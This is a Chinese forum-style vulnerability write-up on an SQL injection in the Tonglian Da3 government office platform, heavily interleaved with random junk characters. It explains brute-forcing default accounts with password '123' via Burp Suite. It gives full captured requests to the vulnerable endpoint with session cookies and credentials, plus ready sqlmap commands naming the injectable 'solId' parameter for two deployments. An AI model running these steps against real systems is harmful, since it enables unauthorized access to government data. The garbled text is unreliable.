同联Da3协同办公平台前台通用sql injection漏洞

admin

8 E, s0 [1 p: w/ F* W+ } q7 k! v3 T- ]
# A) P% f! ?7 E, N# ^

5 V) b7 R% @& j3 N8 ?. X

6 J, H3 z% T; b" V 平台简介：

 

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
0 R2 A9 E. \$ x/ H! n同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

; F5 n* E! R2 j$ x* e

4 t0 Y8 p" k B. [: f9 ~& P; n5 S& ]  

& J9 x9 S4 R# b8 K# ?" |+ A 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

$ @- Q; P0 b h7 \- ]7 J' q

0 |* [* |' ?0 a& S6 p   6 @# \" c& d* N* v8 B1 u/ x

j+ J. P3 h' z

http://1.1.1.1:7197/cap-aco/#（案例2-）

' n) V! }' I4 p8 ?$ B: ` o http://www.XXOO.com （案例1-官网网站）

# b) @6 M2 _* ^3 q4 W+ T( Z

 

漏洞详情: b3 p f0 P% D2 C5 I

! H. M# c1 W$ d. w( w  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

4 x) A0 u1 m5 l' f; W5 i

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

. X7 V; m; f9 Z# Q

  * T9 w2 t) Z2 S; N2 X; q/ t

! m8 D7 a8 z( X3 ^2 }. i  

4 R3 x' [: }" n- k

4 `" q( E6 b/ C# e8 p2 b# y0 Q status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： % I' l [% T/ j+ Q: q2 E1 K" `

1、案例1-官方网站

$ Q8 \! l4 A" b3 ]' M5 \" h# A GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 3 g0 r' A o. S6 g+ i

2 X) T5 x& h0 d* q5 X Host: www.XXOO.com 1 E) s" N7 c' \* j" X3 p: H6 ?% Q

1 L7 |: \& C. \6 }+ y9 V/ s5 }( u% v; m Proxy-Connection: Keep-Alive

$ B4 e& U' Q( m/ ]! m9 r( n

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN

: g7 Z4 n& ~1 `! {! i& p* v+ x

Content-Type: application/json

, e l3 C2 q+ x% b) Y! H; [

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 9 Z" s& n5 I p, F! j

$ U2 c. c6 y+ n! ~ X-Requested-With: XMLHttpRequest 6 L% U) s4 ~5 s/ F

6 K- U( }1 O3 O* z7 l8 K" X/ Y& Q Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 ' s2 \: M6 M8 V7 _) k% z$ c

) E, s- v# _' h. S Accept-Encoding: gzip, deflate, sdch ; @5 l! e& W' e- c5 [( ^

. r5 e- R u. q) [ Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

' Q6 L! L8 T; n5 G! e% |, `3 x

& [ o7 V2 ?" _# r e$ k 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

. {* W( [' ?4 j: a. J

2 ]6 d! P7 h+ p2 v! ]8 k   * e) D& r8 L3 M$ s. P; D

  : A9 l8 H3 V! p4 j, s' b

6 n Y0 J* X; @

4 w: o2 x. ~1 {0 ^) l. k2 {  

2 v( l2 E& \0 T. _; c  

* U$ b7 q1 T" M4 J2 r   . b+ t" [4 I9 I6 I! e) D- ]9 b

4 M4 I& h/ S j8 F7 {, C: K 2、案例2-某天河云平台

" M; a2 M" A' H. k9 W GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

Host: 1.1.1.:7197

Accept: application/json, text/javascript, */*; q=0.01 f' c5 c/ f; L# v

- ]5 m' O7 b3 n, x' }! B) c1 s

X-Requested-With: XMLHttpRequest / b1 y% {0 A) G6 S5 r

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

) n$ f; i+ P7 q; v& o' \7 S Content-Type: application/json ' u4 Z+ u( H3 A

1 t, r* l2 M( j

# B3 e. x& A% T2 G; b Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 0 F* M) V; \1 l

Accept-Language: zh-CN,zh;q=0.8 # k4 \9 q8 {9 P3 l9 o# s

- `0 H; y2 A9 e6 z$ u4 k Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 ! A" H7 e' ~9 c' d L. Q% \

5 H. q8 {& S. e! v

Connection: close

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ) t' n$ `' z: |; l% b6 X

/ s- H5 j' T G' L0 ?' _

6 }+ S0 e) a9 }: S0 ?9 v- f) y  

# }- F5 f& G3 F2 U( M* W/ L